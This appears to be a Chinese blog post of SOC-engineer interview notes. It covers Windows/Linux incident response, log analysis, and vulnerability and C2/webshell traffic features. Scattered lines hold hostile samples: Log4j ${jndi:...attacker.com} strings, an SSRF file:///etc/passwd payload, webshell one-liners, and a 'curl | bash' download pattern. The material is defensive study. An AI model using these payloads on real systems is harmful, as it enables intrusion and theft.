NothingBlog

安全运营工程师

- aa

  • aa
  • aa
    (高级)级别B 具备一般的监控+处置+研判+溯源+应急能力
    不会就说没做过对应的项目,别瞎说,要有逻辑
    工作经历,xx年-xx年,xx公司做xx工作(渗透,hvv,驻场,安全值守),接触过的安全设备

应急响应:
https://www.cnblogs.com/guwanghui/p/17696225.html

流量特征:

网络安全运行与维护岗位
负责全流程跟进产品功能的开发设计,并根据产品特点与发展情况,动态评估安全风险,提供解决方
案,保障产品可持续运营; 协助相关团队应对、处理涉平台的安全突发或应急事件。
a)综合能力
——对安全行业发展趋势及生态有良好的认知;
——具备优秀的逻辑分析能力、表达能力、文字撰写的能力;
——拥有良好的跨团队协调和推进项目的能力;
——具备安全产品、策略或者安全项目运营所需的专业技术能力;
b)专业知识
——熟悉业界政策/舆情导向;
——熟悉搭建安全、业务联动机制,制定行业规范及应急解决方案流程;
——熟悉产品功能设计、安全运营、安全方案设计等相关流程;
——熟悉并掌握安全基础概念,并具有某一领域一定深度的安全领域知识储备;
c)技术技能
——了解主流的安全技术或产品,如入侵检测、数据防泄漏、WEB安全、大数据安全、
SIEM/SOC等;
——数据分析功底扎实,熟练使用数据分析软件、熟悉SQL、Python等数据处理技能;
——熟练掌握至少一门系统开发或者脚本开发语言,如Shell、Perl、Python、C、C++至
少掌握一门以上;
d)工程实践
——具备安全领域模型的建设,识别安全事件、分析趋势,并推动安全风险收敛能力;
——具备基于业务场景或风险分析,通过推动产品、算法及模型等优化,助力安全和业
务良性发展能力;
——具备根据产品特点与发展情况,动态评估安全风险,提供解决方案能力,保障产品
可持续运营,并对运营效果负责。

- win应急处置方案

  • 账号排查
    1、查看服务器是否有弱口令,远程管理端口是否对公网开放。
    方法1:据实际情况咨询相关服务器管理员。
    方法2:通过分析平台查询该主机相关告警,确认是否存在弱口令,是否有互联网IP直接访问远程管理端口。
    2、查看服务器是否存在可疑账号、新增账号、隐藏账号、克隆账号。
    方法1:打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号。
    方法2:“D盾_web查杀”—工具—克隆账号检测,查看是否有新增/可疑的账号。

  • 端口排查
    检查端口连接情况,是否有远程连接、可疑连接。
    检查方法:
    a、使用D盾_web查杀—工具—端口查看。
    b、netstat -ano 查看目前的网络连接,定位可疑的网络连接。

  • 进程排查
    检查方法:
    a、开始–运行–输入msinfo32,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如路径、处理ID、开始时间、文件日期等。
    b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。
    主要观察以下内容:
    没有签名验证信息的进程;
    没有描述信息的进程;
    进程的属主;
    进程的路径是否合法;
    CPU或内存资源占用长时间过高的进程。
    内存资源查看:Win+R—taskmgr,打开任务管理器查看。

  • 启动项排查
    检查服务器是否有异常的启动项
    检查方法:
    a、登录服务器,命令行输入“msinfo32”,打开“系统信息-软件环境-启动程序”进行查看。
    b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
    imjpmig.exe是微软Microsoft输入法编辑器程序
    tintsetp.exe是输入法软件相关程序
    IMEKRMIG.EXE是微软Microsoft Office套装的一部分
    imscinst.exe是微软Microsoft翻译工具的一部分
    imscmig.exe MicrosoftIME输入法的组件
    ctfmon.exe 文字服务程序
    ATIPtaxx.exe是ATI显示卡驱动的一部分,在系统托盘有显示
    rfwmain.exe 瑞星防火墙
    ravtask.exe瑞星杀软相关程序
    c、利用安全软件查看启动项、开机时间管理等。
    d、组策略,运行gpedit.msc—windows设置,查看是否有开机启动的脚本。

  • 计划任务排查
    检查方法:
    a、单击【开始】>【控制面板】>【任务计划】,查看计划任务属性,看是否有计划任务的异常文件,有的话便可以发现异常文件的路径。
    b、打开 cmd,然后输入at或者schtasks,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

  • 系统日志排查
    分析方法:
    打开运行(Win+R),输入“eventvwr.msc”,回车运行,打开“事件查看器”。
    系统日志默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx安全日志默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx应用程序默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

事件ID 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4720 创建用户
登录类型 描述
:———————–: :—:
2 交互式登录(Interactive)
3 网络(Network)
4 批处理(Batch)
5 服务(Service)
7 解锁(Unlock)
8 网络明文(NetworkCleartext)
9 新凭证(NewCredentials)
10 远程交互(RemoteInteractive)
11 缓存交互(CachedInteractive)
1、在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”;
2、在事件查看器中,单击“系统”,查看系统日志;
3、在系统日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选分析。
  • Web日志排查
    1、查看文件大小
    一般被攻击网站的access日志文件会比日常的access日志文件大
    2、根据入侵时间确认攻击路径及所利用的漏洞
    查看入侵时间前后是否存在异常请求/漏洞攻击
    3、漏洞复现
    若为漏洞类,则进行漏洞复现验证
    若未抓取到账号密码,需向网站负责人索要管理员账号密码,进行登录查找入侵点并验证

  • 服务自启动排查
    检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务。

  • Webshell扫描
    a、IIS中间件:
    打开D盾_web查杀工具 » 扫描全部站点。
    b、其它中间件(apache、tomcat、nginx等)
    向客户询问web网站具体路径,例如:D:\apache-tomcat-7.0.55,然后进行自定义扫描。
    Webshell扫描工具:
    D盾_Web查杀:http://www.d99net.net/index.asp
    河马webshell查杀:http://www.shellpub.com

  • 病毒查杀
    检查方法:下载相关安全软件,更新最新病毒库,进行全盘扫描。

- linux应急处置方案

  • 账号排查
    1、查询特权用户,特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd

2、查询可以远程登录的帐号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

4、禁用或删除多余及可疑的帐号
若存在异常/可疑的账号,和客户/相关责任人确认后再做以下操作

操作命令 说明
usermod -L user 禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel user 删除user用户
userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除
  • 历史命令排查
    查看历史操作命令,检查是否存在异常命令;
history #查看历史命令history | grep XXX #XXX为要搜索的异常/敏感命令

常见敏感操作命令示例:

命令介绍 命令示例 备注
查看发行版 cat /etc/*-release 查看版本查找exploit提权
查看内核版本 uname -a 查看版本查找exploit提权
编译exp gcc xx.c 确认xx.c是否为expploit
添加用户 useradd 确认添加用户是否为客户添加
下载木马文件等 wget http://www.xxx.com 放入云沙箱检测是否为木马病毒文件

CMD中执行 netstat -ano 查看目前的网
络连接,根据netstat定位出PID,再通过
命令tasklist /svc | findstr PID 定位进程

使用netstat 网络连接命令,分析可疑端口、IP、PID等

netstat -antlp|more

查看下pid所对应的进程文件路径

ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)
  • 进程排查
    使用ps命令,分析进程
    ps aux #查看异常进程
    ps aux | grep pid #查看路径
    top #查看资源占用情况

  • 启动项排查
    启动项文件:

more /etc/rc.local/etc/rc.d/rc[0~6].dls -l /etc/rc.d/rc3.d/
  • 定时任务排查
    重点关注以下目录中是否存在恶意脚本
    /var/spool/cron/*
    /etc/crontab/etc/cron.d/*
    /etc/cron.daily/*
    /etc/cron.hourly/*
    /etc/cron.monthly/*
    /etc/cron.weekly/*
    /etc/anacrontab
    /var/spool/anacron/*
    小技巧:more /etc/cron.daily/* 查看目录下所有文件

  • 服务排查
    1、查询已安装的服务:
    RPM包安装的服务chkconfig –list 查看服务自启动状态,可以看到所有的RPM包安装的服务
    ps aux | grep crond 查看当前服务系统在3与5级别下的启动项
    中文环境chkconfig –list | grep “3:启用|5:启用”
    英文环境chkconfig –list | grep “3:on|5:on”
    级别3:命令行模式
    级别5:GUI(图形桌面 模式)

  • 系统日志排查
    日志默认存放位置:/var/log/查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看,last -f /var/log/btmp
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

日志分析技巧:
1、定位有多少IP在爆破主机的root帐号:

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

搜索爆破用户名字典是什么?

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

2、搜索登录成功的IP有哪些:

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

搜索登录成功的日期、用户名、IP:

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

3、搜索新增用户日志:

grep "useradd" /var/log/secure

4、搜索删除用户的日志:

grep "userdel" /var/log/secure
  • Webshell扫描
    1:河马webshell查杀(linux版):http://www.shellpub.com
    注意:不要将本软件放置到web目录下,不要在web目录下运行软件。
    32位系统:hm-linux-32.tgz
    64位系统:hm-linux-amd64.tgz
1:mkdir starso 新建一个文件夹,将hm文件上传到starso文件夹中。
2:tar -zxvf hm-linux-amd64.tgz解压hm文件
3:./hm scan 网站web目录(网站web目录需向客户确认)查杀shell
4:cat result.csv扫描完成之后结果会保存为result.csv文件,查看可疑文件。
5:检查完成后删除创建的文件夹starso及里面的相关文件。
  • 病毒查杀
    安装EDR进行全面的安全扫描和病毒查杀。

dll木马文件如何定位:
procexp进程管理工具查看树状进程关系列表

win查看自启动项:
msconfig

linux查看自启动项:
systemctl

内网提权方法:win(烂土豆,内核漏洞提权),linux(脏牛漏洞,SUID提权,SUDO提权,计划任务,NFS提权,数据库提权)

Redis未授权的利用方式:
写计划任务,写SSH公钥,写webshell

frp流量特征:
一般流量中带有Version、Arch、User、Privile
ge_key等字段
加密流量中带有一个 0x17)的头部特征

黄金票据和白银票据区别:黄金可通过伪造TGT获取任意服务ST可请求所有服务,白银只能请求ST中写的服务

SpringBoot有哪些漏洞:
远程代码执行,env敏感信息,xxe任意文件读取

中间件解析漏洞介绍下:
IIS(PUT漏洞,短文件名猜解,远程代码执行,解析漏洞),Apache(解析漏洞,目录遍历),Nginx(文件解析,目录遍历,CRLF注入,目录穿越),Tomcat(任意文件写入,弱口令,后台getshell,session反序列化,远程代码执行,war后门文件部署),jBoss(反序列化漏洞,war后门文件部署),WebLogic(反序列化漏洞,SSRF,任意文件上传,war后门文件部署)

1、SQL注入的几个类型、如何getshell、提权、绕过waf方法,二次注入原理是什么?堆叠注入原理是什么?宽字节原理是什么?
宽字节原理是编码问题,前端和后端编码不一致导致的一个字符过滤的问题
web应用程序对用户输入数据的合法性没有判断,参数用户可控,参数带入数据库查询,攻击者通过构造不同的sql语句来实现对数据库的任意操作。宽字节注入 编码转换,堆叠注入 多语句间用分号隔开,时间盲注 sleep,布尔盲注count,联合查询注入union OrderBy,报错型注入updatexml extractvalue floor,二次注入。过滤危险字符,使用预编译语句。

2、CSRF、XSS、SSRF的区别,危害是什么?3、文件上传如何绕过waf,你知道文件上传白名单怎么打吗?
CSRF是跨站请求伪造,由客户端发起,利用是网站对用户浏览器的信任,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF是服务器端请求伪造,由服务器发起,服务器对用户提供的可控URL过于信任,导致攻击者可以 以此为跳板 攻击内网或其他服务器。
XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者能够以此为跳板攻击内网或其他服务器。
CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者能够以此为跳板攻击内网或其他服务器。
xss dom型和xss反射型很相似,都是一次性的,区别是 反射型 不会存储到后端服务器这边,是通过url的构造产生的问题,数据从前端传到后端,再从后端发到前端上,通过浏览器执行,这样的一个过程,dom型 不经过后端,直接通过前端的语法传到dom节点,产生的xss问题。
文件上传白名单绕过方法:00截断(针对旧版本PHP、低版本中间件),数组绕过(针对特殊的后端代码),特殊字符与解析漏洞(针对Nginx、IIS、Apache中间件),配合文件包含漏洞,重命名机制的缺陷

3、XSS和SSRF配合使用
XSS是前端触发器,SSRF是后端破坏者。
Web应用允许用户将页面内容导出为PDF,这通常通过HTML渲染引擎实现。通过XSS控制渲染引擎,可以让服务器下载并读取内网敏感文件。
用户输入处写入包含非法URI的HTML

<img src="file:///etc/passwd"> 或 <iframe src="http://localhost:8080">

应用服务器的PDF导出功能渲染该内容。
渲染引擎尝试访问该内网资源。
导出的PDF中包含了内部文件的内容。

利用XSS触发SSRF。用户个人资料处存在存储型XSS,用户设置中存在SSRF漏洞,在个人简介中注入XSS Payload

<script>document.location='http://internal-app.local'</script>

管理员浏览该用户个人资料时,浏览器执行恶意脚本。浏览器代表管理员向服务器的SSRF点发起请求。服务器解析此请求并向内网地址发起请求

4、对于中间件漏洞,如tomcat、nginx、weblogic、apache你知道哪些?
Weblogic弱口令漏洞 /console
Weblogic任意文件上传CVE-2018-2894漏洞 /ws_utc/config.do
Weblogic XMLDecoder 反序列化漏洞CVE-2017-10271 /wls-wsat/CoordinatorPortType
WebLogic T3反序列化漏洞 t3协议造成
Weblogic目录穿越 绕过用户名密码验证直接进入到后台,进行war包部署
tomcat put方法任意文件上传(CVE-2017-12615) 抓个包,修改一下数据包改成put,写入一个jsp文件
tomcat 远程代码执行(CVE-2019-0232)
Tomcat后台弱口令上传war包,tomcat管理弱口令页面getshell /manager/html
nginx解析漏洞 xino.jpg/xxx.php
nginx空字节任意代码执行漏洞 xxx.jpg%00.php
nginx文件名逻辑漏洞CVE-2013-4547 .php前用空格和零截断
apache解析漏洞(CVE-2017-15715)phar、php、phtml、结尾的文件,会被apache当作php解析
apache HTTPD 换行解析漏洞(CVE-2017-15715)1.php\x0a -> 1.php
apache SSI远程命令执行漏洞

5、OSI 七层模型是什么?
物理层 · 数据链路层 · 网络层 · 传输层 · 会话层 · 表示层 · 应用层.

6、常见高危端口号有哪些?
RDP 3389,SMB 445,SSH 22,FTP 21,MySQL 3306,Redis 6379,mssql 1433,Telnet 23,RPC 135-139,VNC 5900-5902,Oracle 1521 ,Web服务/管理端口 8081/8080/80,LDAP 389,https://support.huawei.com/enterprise/zh/doc/EDOC1100297669/fc44a7df
7、redis 如何getshell?
8、给你一个登陆口如何渗透?
8、给你一个小程序你要如何打,思路是什么?
9、shiro 漏洞是什么?流量特征是什么?550和721区别?
10、fastjson漏洞是什么?流量特征什么?不出网怎么打?不同版本如何绕过呀?说一些例子。

12、struts2漏洞流量特征是什么?

msf的流量特征是什么
默认使用4444端口作为反向连接端口
连接建立后,MSF 会发送一个特定的 4 字节数据

14、可以说一下cs流量特征是什么?
证书与加密特征:
证书信息:默认或修改过的SSL证书可能包含Cobalt、TeamServer等关键字,自签名证书指纹可能被安全厂商标记为已知恶意。
Staging URI特征:初始加载阶段(Staging)
使用伪装成合法资源的路径名:
/jquery-3.3.1.min.js
/pixel.gif
这些文件名虽然看似正常,但实际用于下载Beacon载荷。
Beacon心跳包特征:
心跳间隔与 Jitter:Beacon客户端定期向C2发送心跳包,具有固定的时间间隔(如每 60 秒)和一定的抖动(Jitter),增加检测难度。
通信模式:
支持多种协议,包括HTTP(S)、DNS、SMB和TCP。
数据传输通常经过编码或加密处理,难以直接读取内容。
SMB Beacon特征:
命名管道通信:
SMB Beacon常使用IPC$管道进行进程间通信,这在正常的网络环境中不常见。
SMB协议下的异常文件操作和共享访问行为。
DNS Beacon特征:
子域名模式:DNS请求中出现特定格式的子域名,如:
xxxx.bidomain.com
高频率的DNS请求指向同一域,但子域名不断变化。
HTTP/HTTPS通信特征:
请求头与响应结构:
包含非标准的HTTP头部信息,或者头部信息过于简单。
响应体数据通常是Base64编码或XOR加密的指令集。
URL结构:URL路径设计成模仿正常网站资源,但实际上用于命令控制。
其他特征:
User-Agent 字符串:可能使用非典型的UA字符串,或者频繁更换以逃避检测。
会话保持与迁移:攻击者可能会通过进程注入或远程线程创建来维持持久性,并尝试迁移到更稳定的系统进程中执行命令。

内存马有哪几种类型,如何查杀内存马
servlet-api型(通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马)。
字节码增强型(通过java的instrumentation动态修改已有代码,从而实现命令执行等功能)。
查看检查服务器web日志,查看有无可疑的 web 访问日志,比如说 filter 或者listener 类型的内存马,
会有大量url请求路径相同但是附带不同参数的记录,或者页面本身并不存在但是返回 200的请求,通过查找返回 200的urll路径对比 web 目录下是否真实文件,如不存在大概率是内存马,
如果Web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,中间件日志查看是否有可疑的报错。
根据注入时间和方法,业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过 webshell,
排查框架漏洞,反序列化漏洞。查看是否有类似哥斯拉、冰蝎特征的url清求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本差不多

安全设备面对大量攻击的时候要如何处置
封禁攻击源IP 流量清洗 限制访问频率 临时封禁特定地区的IP

shiro反序列化原理+特征:
Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行
特征1cookie中含有rememberMe字段

17、在使用安全设备如何识别误报和真实攻击?
验证告警来源与情报关联
深入分析事件详情与上下文
基于“攻击链”进行关联分析

23、看过哪些安全设备
安恒大数据AiLPHA

25、用过哪些态势感知
奇安信 网神态势感知与安全运营平台(NGSOC)
阿里云 云盾态势感知
深信服 安全感知平台(SIP)
安恒 AiLPHA大数据态势感知平台 阿尔法

26、用过哪些日志工具
360星图 ELK Stack(数据采集 (Logstash/Beats)) Graylog LogDNA
https://www.eet-china.com/mp/a410628.html

27、给日志分析攻击
统计攻击ip出现的次数和频率可能是扫描器,暴力破解
根据ip线索筛查相关日志
根据攻击时间筛查相关日志

数据库命令执行函数
MSSQL:xp_cmdshell sp_OACreate
Oracle:DBMS_JAVA
MySQL:UDF

告警层面的事件以前处理过哪些?这个问的就是出现事件后的上报处置流程
国家网络安全事件应急预案-网络信息安全事件可分为七类四个等级
告警分析-剧本处置-验证恢复-复盘总结
实例:
核心业务系统中断或硬件设备故障
迅速定位故障节点,启用备用设备或线路-防火墙故障,导入备份配置并替换设备-交换机故障,切换备用设备并恢复网络访问-上级网络故障,立即上报并协助恢复
门户网站遭篡改或破坏
立即断网并停止系统运行-隔离被攻击设备,保护现场-恢复系统数据与功能-追查攻击源并报警
外网遭遇黑客入侵
断网隔离-防火墙封堵攻击源-保存日志记录-上报主管部门-修复后恢复上线
外网遭遇拒绝服务攻击
防火墙封堵攻击IP-调整DNS解析进行分流-保存日志-必要时断网并报警-联合相关部门协同处置
外部电源中断
切换备用供电线路-查明断电原因-短时停电使用UPS-长时停电按序关闭设备
wps文档中心未授权访问-弱口令-edge浏览器静默扫描磁盘

发现的漏洞,设备抓到的漏洞,安全设备上的流量特征
wps文档中心未授权访问 open/v6/api/etcd/operate
弱口令
edge浏览器静默扫描磁盘

做没做过互联网资产测绘
传统方法:通过访谈,收集防火墙映射情况,手工梳理,黑盒测试,开源情报社区,fofa,鹰图,爱企查,社工库
发展到现在,借助EASM平台:
资产精准监控-资产统一纳管-内网资产安全管理-漏洞深度检测与响应-敏感数据全网监控-资产全景视图

告警降噪
噪声来源:公网扫描-内部服务-重复告警
解决方法:告警分级-去重-抑制-白名单过滤-全流量整合
总结:平台能够筛选出真正需要人工处理的、有威胁的安全事件,把最高优先级的告警凸显出来,减少无效告警和误报

webshell 连接工具的特征
菜刀特征:
1.UserAgent为百度爬虫
2.请求体中存在eval,base64等特征字符
3.请求体中传递的payload为base64编码,请求包可以使用base64编码进行解码
4.请求体中执行结果响应为明文 X@Y 结果 X@Y
5.静态PHP:
6.静态ASP: <% eval request(“hacker”)%>
7.静态ASP.NET: <%@ Page Language=“Javascript”%><% eval(Request.Item[“hacker”],“unsafe”);%>
蚁剑特征:
1.每个请求体中都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头,且存在base64等字符
2.返回包的结果格式为 随机数 结果 随机数
3.静态php使用assert、eval执行
4.静态asp使用eval执行
5.静态jsp使用Java类加载(ClassLoader)会带有base64encode、decode的特征
冰蝎特征:
1.默认为rebeyond即密钥为e45e329feb5d925b
2.密文的长度为16的整数倍
3.Content-Type字段(弱特征)通常是Content-type: Application/x-www-form-urlencoded
4.Accept字段(弱特征)通常是Accept: application/json, text/javascript, /; q=0.01
哥斯拉特征:
1.请求中都包含Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2.响应中都包含Cache-Control: no-store, no-cache, must-revalidate
3.cookie后面带了分号
4.整个响应包的结构体征为:md5前十六位+base64+md5后十六位
5.@session_start(); - 开启一个会话。
6.@set_time_limit(0); - 设置脚本执行时间为无限。
7.@error_reporting(0); - 关闭所有错误报告。

webshell 处置实例和思路
同事反馈运营中心监测到区域某用户网站疑似被植入webshell
是一个非常标准的冰蝎
看一下上传时间,中午,正常黑客谁这样?
日志取了出来,根据jsp马的文件名来过滤
只有post相关的操作,因此怀疑是通过/visualizedPlatform/这个路径进行上传的
过滤visualizedPlatform相关的日志,看到大量的webshell扫描日志
后面就都是上传成功以后的操作了
根据日志里面的分析,推测是通过/visualizedPlatform/这个路径上传进来
户沟通了一下,问一下有没有相关的路径
用户直接扔过来一个 /visualizedPlatform/logui.htm
分析了一下日志,在被上传webshell前期有test登录成功的日志
看了一下日志,是通过test用户上传webshell的
和用户沟通了一下,用户反馈是昨天有等保测评公司进行渗透测试上传的webshell
没有及时删除,一场乌龙事件
回过头再看看webshell里面的密码是等保测评公司名简写

WebShell执行系统命令的函数
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
WebShell编码和解码的函数
eval(base64_decode(’encoded_string’));
WebShell文件操作的函数
PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject
WebShell网络操作的函数
PHP: fsockopen(), curl_exec(), file_get_contents(‘http://…’)
ASP: WinHttp.WinHttpRequest

命令WebShell查找
find ./ type f -name “*.aspx” | xargs grep “eval(”
其实这个把html目录打包之后拿去D盾扫描会发现四个php全给扫描出来了

log4j 漏洞特征 流量特征 攻击成功特征 漏洞利用无回显示如何判断成功 不出网如何利用
Log4j 漏洞的核心在于“日志记录+JNDI处理”。判定成功的关键在于追踪受害机器是否主动发起过 LDAP/RMI 的外部通信

Log4j2 在处理日志信息时,如果允许记录用户输入的内容,且该内容包含特定格式的字符串(Lookup功能),就会触发 JNDI注入,进而执行远程代码
请求包特征:Payload 包含 jndi 和相关的协议名(ldap, rmi, dns, ldaps 等)
请求包格式:${jndi:ldap://…}、${jndi:rmi://…}、${jndi:dns://…}
响应包特征:
服务端尝试连接外部 LDAP 服务器的信息
响应体中发现异常错误信息
内部网络,可能会收到 DNS 超时请求

告警攻击成功如何判断
方向判断:
攻击者主动扫描,一般为未打补丁的尝试
针对内网资源,且确实产生了流量,需要重点关注
流量确认:
LDAP/RMI 连接:查看告警发生后,受害机器是否向恶意域名或恶意 IP 发起了主动的外连
响应时间:攻击成功通常会有一定延迟
验证payload:尝试分析告警包内容,看是否存在恶意的类名或者包含复杂的 jndi 嵌套

DNS外带
特征:流量中出现 dnslog.cn 或攻击者搭建的恶意 DNS 服务器域名(例如 xxx.dnslog.cn)的查询
DNS 请求流:
受害机器收到 ${jndi:dns://://attacker.com}
机器解析 ://attacker.com 的域名,发送 DNS 查询

如何看dns外带
搜索 dns 协议包中,包含 ${jndi 和常用 DNSLog 域名的请求
关注 nslookup、dig 等高频的域名查询流量

fastjsion 漏洞特征 流量特征 攻击成功特征 漏洞利用无回显示如何判断成功 不出网如何利用用
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。
漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
特征1根据返回包判断,json数据里有恶意代码片段,@type 指定恶意的类
特征2包含危险协议:ldap rmi dnslog盲打
不出网特征1:Payload 包含 bytecodes: 编码后的恶意字节码。
不出网特征2:TemplatesImpl相关类
变种攻击特征:json中java.lang.Class预先加载动态类
黑白名单绕过技术:利用缓存机制-双写类名-特殊类继承如java.lang.AutoCloseable子类

Redis未授权访问导致XMR挖矿
https://www.cnblogs.com/yuzly/p/11663822.html
https://mp.weixin.qq.com/s?__biz=MzI4MzkxOTE2Ng==&mid=2247485662&idx=1&sn=628808aae6cbb72f8ea99f1340ac7833&chksm=ea4a1e830fe9521735651d1331b78ff813247422262efb52e39a8d273665668caa197f334e71&mpshare=1&scene=1&srcid=0511RVN9KdnbCKqwSZ8KRGaz&sharer_shareinfo=c5886fb522c335bdbd155799e8f77ae5&sharer_shareinfo_first=c5886fb522c335bdbd155799e8f77ae5&exportkey=n_ChQIAhIQd7T8qwjYyPnYSe5nWoPDZBKfAgIE97dBBAEAAAAAAERTOZKZPckAAAAOpnltbLcz9gKNyK89dVj0KnFUSMGdBsWECxtf0iK83XwonakDWVYcv8ygPiCOkFq5lhRtBRVg6tsLJfgiTELVbmIQlQf3Oi72EUfk0So7aKzM81KETnzqkhmAAZyS6%2BuALjtQJVVxddaAwWr6mHwxLR1WwbHaFMzPg8C9i308AwDhe8PKj1%2Fve9d38szHQ%2FkXFNdKAxyjmpKvhYczHhULRzdI5zpnTFLzEN3Xv3EtIPIe5I6OMcHe%2FXhpWZ3vrgL8nAfY8g1g0TH0%2BWEwjS%2FrWCtN6ZXpRmKHENeFoQ1jJTrFQxMtbmdcdyLNYQaz3%2B%2BmK0cL1JzbPR0d5vQG2uafY72zURCMt4vR&acctmode=0&pass_ticket=pqFvbidd%2B8E%2B5sJQKEW9ut5zSs8Rza9dekU07Cr%2F3ZgWL8d0dDeo4ienXfebPsWx&wx_header=0#rd

事件发现: 客户服务器CPU持续100%,系统响应极慢。

条件允许,暂时将受感染服务器从外网隔离,或者在防火墙(如 iptables 或 云安全组)中封锁 Redis 端口(默认 6379)以及已知的矿池通信端口。临时关闭 Redis:在确认不影响核心业务的前提下,先关停 Redis 服务,切断攻击入口。

分析排查:
进程分析: 使用 top 命令发现名为 redis-cli 或类似随机字符的进程占用大量资源。
网络连接: netstat -antlp 发现服务器与外部可疑矿池IP(如 xmr-eu1.nanopool.org)有连接。
检查发现Redis配置未设置密码,且允许公网访问,攻击者通过写入定时任务(crontab)下载并执行XMRig脚本。
攻击者通常会修改 crontab 以实现自动下载和运行
检查定时任务:crontab -l 以及检查 /etc/crontab、/etc/cron.d/、/var/spool/cron/
删除可疑的下载脚本(如 curl -sL http://… | bash)
检查系统服务:查看 /etc/systemd/system/ 下是否有新创建的可疑服务文件

应急处置:
隔离:
修改Redis配置 protected-mode yes
redis.conf 中配置 requirepass your_strong_password
修改默认端口6379
Redis 仅监听内网或特定受信任 IP,严禁暴露在公网
确保 Redis 以独立低权限用户运行,严禁用 root 启动
清理:
杀掉挖矿进程,删除 /var/spool/cron/ 下的非法定时任务。
清理文件与锁定检查 /tmp/、/var/tmp/、/dev/shm/ 等目录下的可疑执行文件(常见名称如 config.json、xmrig。
chattr +i 锁定自身。需先运行 chattr -i <文件名> 才能删除
检查 /root/.ssh/authorized_keys 是否被植入后门。
Redis 写入了 SSH 公钥:检查 /root/.ssh/authorized_keys 文件。删除不明公钥
矿池地址:通过 netstat -antp 记录木马连接的远程 IP,可以在 微步在线 等平台查询其是否为已知矿池
修复:
设置密码:在 redis.conf 中配置 requirepass your_strong_password。
